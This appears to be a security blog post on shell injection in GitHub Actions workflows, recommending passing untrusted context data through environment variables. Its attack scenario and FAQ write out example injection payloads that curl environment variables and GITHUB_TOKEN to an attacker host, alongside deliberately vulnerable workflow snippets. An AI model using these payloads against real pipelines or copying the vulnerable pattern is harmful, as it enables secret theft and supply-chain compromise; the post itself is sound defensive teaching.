Back to Blog
high SEVERITY5 min read

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

O
By Orbis AppSec
Published April 8, 2026Reviewed June 3, 2026

Answer Summary

Shell injection in GitHub Actions (CWE-78) occurs when workflows directly interpolate untrusted GitHub context data like `github.event.issue.title` or `github.head_ref` into `run:` commands, allowing attackers to break out of quotes and execute arbitrary code. The vulnerability is fixed by passing untrusted data through environment variables using the `env:` key, then referencing those variables with `$VARIABLE_NAME` syntax in the shell command. This ensures the shell treats the data as literal strings rather than executable code, preventing command injection and protecting secrets.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixPass untrusted data through environment variables instead of inline interpolation
riskArbitrary code execution, secret exfiltration, supply chain compromise
languageGitHub Actions YAML with Bash
root causeDirect interpolation of `github.*` context variables in shell commands
vulnerabilityShell injection via untrusted GitHub context interpolation

Introduction: When Your CI/CD Pipeline Becomes an Attack Vector

GitHub Actions has revolutionized how we build, test, and deploy software. But with great automation comes great responsibility—especially when it comes to security. A recently patched vulnerability in a release workflow demonstrates how a single line of seemingly innocent code can open the door to complete compromise of your CI/CD pipeline.

This vulnerability allowed potential attackers to inject malicious shell commands through GitHub context data, potentially stealing secrets, manipulating builds, or compromising your entire release process. If you're using GitHub Actions, this is a wake-up call to audit your workflows immediately.

The Vulnerability Explained: Shell Injection Through Context Data

What Makes This Dangerous?

The vulnerability occurs when GitHub Actions workflows directly interpolate GitHub context variables (like github.event.pull_request.title, github.event.issue.body, or github.head_ref) into shell commands using the ${{ }} syntax.

Here's why this is problematic:

GitHub context data is user-controlled. Anyone who can create a pull request, issue, or branch can inject arbitrary content into these fields. When this untrusted data flows directly into a shell command, it creates a classic injection vulnerability.

Real-World Attack Scenario

Imagine a workflow with this vulnerable code:

- name: Generate release notes
  run: |
    echo "Creating release for ${{ github.event.pull_request.title }}"
    ./create-release.sh "${{ github.event.pull_request.title }}"

An attacker could create a pull request with a malicious title like:

Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #

When the workflow runs, the shell command becomes:

echo "Creating release for Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"
./create-release.sh "Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"

The result? The attacker's command executes, exfiltrating all environment variables—including secrets like GITHUB_TOKEN, API keys, and deployment credentials.

The Impact

This type of vulnerability can lead to:

  • Secret theft: Exposure of GitHub tokens, AWS credentials, API keys, and other secrets
  • Code manipulation: Injection of malicious code into releases or deployments
  • Supply chain attacks: Compromised artifacts distributed to users
  • Lateral movement: Using stolen credentials to access other systems
  • Persistent backdoors: Modification of workflows for future attacks

The Fix: Environment Variable Isolation

The solution is elegantly simple but critically important: never directly interpolate GitHub context data in shell commands. Instead, use an intermediate environment variable.

Before (Vulnerable):

- name: Create release
  run: |
    echo "Release: ${{ github.event.pull_request.title }}"
    ./deploy.sh "${{ github.head_ref }}"

After (Secure):

- name: Create release
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Release: $PR_TITLE"
    ./deploy.sh "$HEAD_REF"

Why This Works

When you assign GitHub context data to an environment variable using the env: key, GitHub Actions handles the data safely:

  1. Proper escaping: The data is properly escaped before being set as an environment variable
  2. No direct shell interpretation: The shell receives the variable as a literal string, not as executable code
  3. Quoted protection: Using "$ENVVAR" (with quotes) ensures the variable is treated as a single argument, even if it contains spaces or special characters

Key Security Principles Applied

This fix implements several security best practices:

  • Input validation boundary: Creating a clear boundary between untrusted input and code execution
  • Principle of least privilege: Limiting how untrusted data can interact with the system
  • Defense in depth: Adding a layer of protection even if other security measures fail

Prevention & Best Practices

1. Audit All Your Workflows

Search your .github/workflows/ directory for dangerous patterns:

# Find potential shell injection vulnerabilities
grep -r '\${{.*github\.' .github/workflows/ | grep 'run:'

Look for any run: steps that directly use:
- ${{ github.event.* }}
- ${{ github.head_ref }}
- ${{ github.base_ref }}
- Any other user-controllable GitHub context

2. Always Use Environment Variables for Untrusted Data

Make it a rule: all GitHub context data must go through environment variables before being used in shell commands.

# GOOD
- name: Safe command
  env:
    USER_INPUT: ${{ github.event.issue.title }}
  run: echo "Processing: $USER_INPUT"

# BAD
- name: Unsafe command
  run: echo "Processing: ${{ github.event.issue.title }}"

3. Use GitHub Actions Security Features

GitHub provides built-in security features:

# Use script injection protection
- name: Secure script execution
  env:
    SCRIPT_CONTENT: ${{ github.event.comment.body }}
  run: |
    # The environment variable is safe to use
    echo "$SCRIPT_CONTENT" | ./process-safely.sh

4. Implement Automated Security Scanning

Use tools like:

  • Semgrep: Detected this vulnerability with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection
  • GitHub Code Scanning: Native support for security analysis
  • actionlint: Specialized linter for GitHub Actions
  • Checkov: Infrastructure-as-code security scanner

Add to your workflow:

- name: Security scan workflows
  uses: returntocorp/semgrep-action@v1
  with:
    config: >-
      p/github-actions

5. Follow the Principle of Least Privilege

Limit workflow permissions:

permissions:
  contents: read
  pull-requests: read
  # Only grant what's necessary

6. Validate and Sanitize When Possible

Even with environment variables, add validation:

- name: Validate input
  env:
    BRANCH_NAME: ${{ github.head_ref }}
  run: |
    # Validate branch name format
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Processing branch: $BRANCH_NAME"

7. Security Resources and Standards

This vulnerability maps to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 2021 - A03:2021: Injection
  • MITRE ATT&CK: T1059 (Command and Scripting Interpreter)

Recommended reading:
- GitHub Actions Security Hardening Guide
- OWASP Command Injection Prevention Cheat Sheet

Conclusion: Small Changes, Big Security Impact

This vulnerability demonstrates a crucial lesson in security: the most dangerous vulnerabilities often hide in plain sight. A single line of workflow code that seems perfectly functional can create a critical security hole.

The fix is straightforward—use environment variables instead of direct interpolation—but the implications are profound. Every GitHub Actions workflow in your organization should be audited for this pattern.

Key Takeaways

  1. Never trust user input, even in CI/CD workflows
  2. Always use environment variables for GitHub context data in shell commands
  3. Implement automated security scanning to catch these issues early
  4. Regular security audits of your workflows are essential
  5. Defense in depth: Layer multiple security controls

Your CI/CD pipeline is a critical part of your infrastructure. Securing it isn't optional—it's essential for protecting your code, your secrets, and your users.

Action Item: Take 15 minutes today to audit your GitHub Actions workflows. Your future self (and your security team) will thank you.


Have you found similar vulnerabilities in your workflows? Share your experiences and questions in the comments below.

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when untrusted data from GitHub context variables (like issue titles, PR titles, or branch names) is directly embedded into shell commands in workflow `run:` steps. Attackers can craft malicious input containing shell metacharacters to break out of the intended command and execute arbitrary code in the CI/CD environment.

How do you prevent shell injection in GitHub Actions workflows?

Prevent shell injection by passing all untrusted GitHub context data through environment variables using the `env:` key, then referencing them with `$VAR` syntax in shell commands. Never use direct interpolation like `${{ github.event.issue.title }}` inside `run:` commands. Additionally, avoid `shell: bash` with user input when possible, and use GitHub's built-in actions that handle data safely.

What CWE is shell injection in GitHub Actions?

Shell injection in GitHub Actions is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). This vulnerability class covers cases where untrusted input is passed to system command execution functions without proper sanitization, allowing attackers to inject additional commands.

Is using quotes around variables enough to prevent shell injection in GitHub Actions?

No, using quotes is not sufficient. Even with quotes like `echo "${{ github.event.issue.title }}"`, an attacker can include quote characters in their input to break out of the quoted context and inject commands. For example, an issue title like `test"; curl attacker.com?secrets=$GITHUB_TOKEN; echo "` would escape the quotes and execute the curl command. Only environment variable-based passing provides reliable protection.

Can static analysis detect shell injection in GitHub Actions?

Yes, static analysis tools like Semgrep, CodeQL, and specialized GitHub Actions security scanners can detect shell injection vulnerabilities by identifying patterns where GitHub context expressions (`${{ }}`) are used directly in `run:` commands. These tools flag dangerous interpolations and recommend the environment variable pattern as a remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5487

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A missing `cooldown` block in `.github/dependabot.yml` meant that newly published packages — which could be malicious or unstable — were eligible for immediate update proposals. By adding a `cooldown` block with `default-days: 7` to both the GitHub Actions and Cargo package ecosystems, the project now enforces a 7-day waiting period before Dependabot proposes any update to a freshly released package version. This change significantly reduces the risk of dependency confusion attacks and supply ch

high

How missing Dependabot cooldown periods happen in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in `.github/dependabot.yml` where missing cooldown periods allowed Dependabot to immediately propose updates for newly published packages. This configuration flaw exposed the CI/CD pipeline to malicious or unstable package versions. The fix adds a 7-day cooldown period to both pip and GitHub Actions ecosystems, creating a safety window for the community to identify compromised packages before they enter the codebase.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. This meant Dependabot could immediately propose updates to newly published (and potentially malicious) package versions, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` package ecosystem entries.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration that lacked a cooldown period, meaning Dependabot could immediately propose updates to newly published (and potentially malicious) package versions. The fix adds a `cooldown` block with `default-days: 7` to enforce a 7-day waiting period before suggesting updates, giving the community time to detect and flag compromised packages.

high

How Missing Dependabot Cooldown happens in GitHub Actions and how to fix it

A high-severity supply chain vulnerability was discovered in a Dependabot configuration file that lacked cooldown periods for package updates. Without cooldown settings, Dependabot could propose updates to newly published—and potentially malicious—packages immediately after release. The fix adds a 7-day cooldown period to all three package ecosystems (npm, GitHub Actions, and Maven), giving the community time to identify compromised packages before they're automatically proposed.